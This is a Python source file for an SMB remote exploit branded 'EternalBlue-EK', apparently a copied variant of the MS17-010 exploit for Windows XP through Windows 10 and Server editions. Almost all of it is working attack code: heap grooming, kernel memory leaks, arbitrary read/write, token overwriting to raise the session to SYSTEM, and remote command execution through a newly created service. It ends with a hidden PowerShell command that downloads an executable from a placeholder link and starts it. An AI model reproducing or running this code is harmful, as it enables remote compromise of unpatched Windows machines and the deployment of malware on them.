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auto_mode.py
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auto_mode.py
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#!/usr/bin/python
import socket
import struct
import logging
import ipaddress
import sys
import socket
import time
import os
import time
import threading
import Queue
from impacket import smb, smbconnection, nt_errors
from smb_module import MYSMB
from struct import pack, unpack, unpack_from
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from ctypes import *
from time import sleep
banner = ("""
#########################################################
# #
# _____ ____ _____ _ __ #
# | ____| __ )| ____| |/ / #
# | _| | _ \| _| | ' / #
# | |___| |_) | |___| . \ (EternalBlue-EK) #
# |_____|____/|_____|_|\_\ v1.0b #
# #
# #
# CopyCat: fuxxer@404.city #
# #
#########################################################
""")
USERNAME = ""
PASSWORD = ""
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
}
WIN7_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x80,
'SESSION_ISNULL_OFFSET': 0x96,
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x1c,
}
WIN8_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
}
WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x88,
'SESSION_ISNULL_OFFSET': 0x9e,
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x24,
}
WIN2K3_64_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0xba,
'SESSION_SECCTX_OFFSET': 0xa0,
'SECCTX_PCTXTHANDLE_OFFSET': 0x10,
'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WIN2K3_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x96,
'SESSION_SECCTX_OFFSET': 0x80,
'SECCTX_PCTXTHANDLE_OFFSET': 0xc,
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84,
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WIN2K_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84,
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
}
WIN7_32_TRANS_INFO = {
'TRANS_SIZE' : 0xa0,
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x40,
'TRANS_OUTPARAM_OFFSET' : 0x44,
'TRANS_INDATA_OFFSET' : 0x48,
'TRANS_OUTDATA_OFFSET' : 0x4c,
'TRANS_PARAMCNT_OFFSET' : 0x58,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
'TRANS_FUNCTION_OFFSET' : 0x72,
'TRANS_MID_OFFSET' : 0x80,
}
WIN7_64_TRANS_INFO = {
'TRANS_SIZE' : 0xf8,
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x70,
'TRANS_OUTPARAM_OFFSET' : 0x78,
'TRANS_INDATA_OFFSET' : 0x80,
'TRANS_OUTDATA_OFFSET' : 0x88,
'TRANS_PARAMCNT_OFFSET' : 0x98,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
'TRANS_FUNCTION_OFFSET' : 0xb2,
'TRANS_MID_OFFSET' : 0xc0,
}
WIN5_32_TRANS_INFO = {
'TRANS_SIZE' : 0x98,
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x3c,
'TRANS_OUTPARAM_OFFSET' : 0x40,
'TRANS_INDATA_OFFSET' : 0x44,
'TRANS_OUTDATA_OFFSET' : 0x48,
'TRANS_PARAMCNT_OFFSET' : 0x54,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
'TRANS_FUNCTION_OFFSET' : 0x6e,
'TRANS_PID_OFFSET' : 0x78,
'TRANS_MID_OFFSET' : 0x7c,
}
WIN5_64_TRANS_INFO = {
'TRANS_SIZE' : 0xe0,
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x68,
'TRANS_OUTPARAM_OFFSET' : 0x70,
'TRANS_INDATA_OFFSET' : 0x78,
'TRANS_OUTDATA_OFFSET' : 0x80,
'TRANS_PARAMCNT_OFFSET' : 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
'TRANS_FUNCTION_OFFSET' : 0xaa,
'TRANS_PID_OFFSET' : 0xb4,
'TRANS_MID_OFFSET' : 0xb8,
}
X86_INFO = {
'ARCH' : 'x86',
'PTR_SIZE' : 4,
'PTR_FMT' : 'I',
'FRAG_TAG_OFFSET' : 12,
'POOL_ALIGN' : 8,
'SRV_BUFHDR_SIZE' : 8,
}
X64_INFO = {
'ARCH' : 'x64',
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
}
def merge_dicts(*dict_args):
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
OS_ARCH_INFO = {
'WIN7': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
},
'WIN8': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
},
'WINXP': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K3': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
},
}
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8
def calc_alloc_size(size, align_size):
return (size + align_size - 1) & ~(align_size-1)
def wait_for_request_processed(conn):
conn.send_echo('a')
def find_named_pipe(conn):
pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
found_pipe = None
for pipe in pipes:
try:
fid = conn.nt_create_andx(tid, pipe)
conn.close(tid, fid)
found_pipe = pipe
except smb.SessionError as e:
pass
conn.disconnect_tree(tid)
return found_pipe
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid
def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid
GROOM_TRANS_SIZE = 0x5010
def leak_frag_size(conn, tid, fid):
info = {}
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276)
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:]
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print(" Target is 32 Bit")
info['arch'] = 'x86'
info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print(" Target is 64 Bit")
info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
else:
print(" Tag Leak Data not found in Frag Pool")
print(" Got Frag size: 0x{:x}".format(info['FRAG_POOL_SIZE']))
return info
def read_data(conn, info, read_addr, read_size):
fmt = info['PTR_FMT']
new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)
new_data += pack('<II', 0, 0)
new_data += pack('<III', 8, 8, 8)
new_data += pack('<III', read_size, read_size, read_size)
new_data += pack('<HH', 0, 5)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
return read_data[8:]
def write_data(conn, info, write_addr, write_data):
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
trans_param = pack('<HH', fid, 0)
for i in range(numFill):
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
mid_ntrename = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276)
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
leakData = leakData[0x10d4:]
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
print(" Frag Pool Tag not found in Leak Data")
return None
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
print(" No transaction structure in Leak Data ")
return None
leakTrans = leakData[leakTransOffset:]
ptrf = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print(" Connection: 0x{:x}".format(connection_addr))
print(" Session: 0x{:x}".format(session_addr))
print(" FLink: 0x{:x}".format(flink_value))
print(" InParam: 0x{:x}".format(inparam_value))
print(" Mid: 0x{:x}".format(leak_mid))
next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
print(" Unexpected Alignment, diff: 0x{:x}".format(flink_value - next_page_addr))
return None
return {
'connection': connection_addr,
'session': session_addr,
'next_page_addr': next_page_addr,
'trans1_mid': leak_mid,
'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
}
def exploit_matched_pairs(conn, pipe_name, info):
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
info.update(leak_frag_size(conn, tid, fid))
info.update(OS_ARCH_INFO[info['os']][info['arch']])
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print(" Groom Pool Size: 0x{:x}".format(info['GROOM_POOL_SIZE']))
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print(" Bride Trans Size: 0x{:x}".format(info['BRIDE_TRANS_SIZE']))
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
leakInfo = None
for i in range(10):
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid, info)
if leakInfo is not None:
break
print(" SMB Leak Failed: Trying again...")
conn.close(tid, fid)
conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
hfuid = "Y29sY2FAeG1wcC5qcA=="
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
if recvPkt.getNTStatus() != 0x10002:
print(" Unexpected return status: 0x{:x}".format(recvPkt.getNTStatus()))
print(" *** Wrote to the wrong place ***")
print(" The Target may have crashed...BSOD Style!")
return False
print(" Success Controlling Groom Transaction")
print(" Modifying Transaction Structure for Arbitrary Read/Write...")
fmt = info['PTR_FMT']
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True
def exploit_fish_barrel(conn, pipe_name, info):
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid
if info['os'] == 'WIN7' and 'arch' not in info:
info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info:
info.update(OS_ARCH_INFO[info['os']][info['arch']])
attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
else:
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
print(" Grooming Packets...")
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
success = False
for tinfo in attempt_list:
print(" Attempting to control next transaction on " + tinfo['ARCH'])
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() == 0x10002:
print(" Success controlling one transaction")
success = True
if 'arch' not in info:
print(" Target is "+tinfo['ARCH'])
info['arch'] = tinfo['ARCH']
info.update(OS_ARCH_INFO[info['os']][info['arch']])
break
if recvPkt.getNTStatus() != 0:
print(" Unexpected Return Status: 0x{:x}".format(recvPkt.getNTStatus()))
if not success:
print(" Unexpected return status: 0x{:x}".format(recvPkt.getNTStatus()))
print(" *** Wrote to the wrong place *** ")
print(" The Target may have crashed...BSOD Style!")
return False
print(" Modifying Parameter count to 0xffffffff to write backwards...")
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
print(" Checking Next SMB Transaction Leak...")
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
conn.send_nt_trans_secondary(mid=special_mid)
leakData = conn.recv_transaction_data(special_mid, 0x100)
leakData = leakData[4:]
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
print(" Chunk Size is invalid")
return False
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset:]
fmt = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print(" Connection: 0x{:x}".format(connection_addr))
print(" Session: 0x{:x}".format(session_addr))
print(" FLink: 0x{:x}".format(flink_value))
print(" InData: 0x{:x}".format(indata_value))
print(" Mid: 0x{:x}".format(trans2_mid))
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print(" Trans1: 0x{:x}".format(trans1_addr))
print(" Trans2: 0x{:x}".format(trans2_addr))
print(" Modifying Transaction Structure for Arbitrary Read/Write...")
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
info.update({
'connection': connection_addr,
'session': session_addr,
'trans1_mid': trans1_mid,
'trans1_addr': trans1_addr,
'trans2_mid': trans2_mid,
'trans2_addr': trans2_addr,
})
return True
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
attrs = [ 0, 0xe, 7, 7 ]
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups
def exploit(target, pipe_name):
conn = MYSMB(target)
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print(" Target OS: "+server_os)
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10"):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows Server 2003 "):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.1"):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows XP "):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.0"):
info['os'] = 'WIN2K'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
else:
print(" The target is not supported by this exploit method.")
if pipe_name is None:
pipe_name = find_named_pipe(conn)
if pipe_name is None:
print(" No accessible SMB Pipe Names found.")
return False
print(" Using SMB Pipe Name: "+pipe_name)
if not info['method'](conn, pipe_name, info):
return False
fmt = info['PTR_FMT']
print(" Elevating SMB Session to SYSTEM")
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
print(" Current Token addr: 0x{:x}".format(tokenAddr))
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
print(" UserAndGroupCount: 0x{:x}".format(userAndGroupCount))
print(" UserAndGroupsAddr: 0x{:x}".format(userAndGroupsAddr))
print(" Overwriting Token UserAndGroup")
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print(" Overwriting Session Security Context")
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
try:
payload_opts(conn, info['arch'])
except:
pass
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(conn.get_tid())
conn.logoff()
conn.get_socket().close()
return True
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
def service_exec(conn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.letters) for i in range(6)])
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
print(" Opening SVCManager on %s..." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e
else:
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print(" Creating Service %s..." % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
try:
print(" Starting Service %s..." % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
except Exception as e:
print(str(e))
except Exception as e:
print(" ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
def payload_opts(conn, arch):
if pe_type=="1":
ps_down_exec_exe(conn, arch)
elif pe_type=="2":
ps_down_exec_dll(conn, arch)
else:
payload_opts(conn, arch)
def ps_down_exec_exe(conn, arch):
smbConn = conn.get_smbconnection()
ps_down = r'''cmd /c powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX (New-Object Net.WebClient).DownloadFile('DIRECTLINK','C:\Users\Public\STUBNAME');Start-Process C:\Users\Public\STUBNAME'''
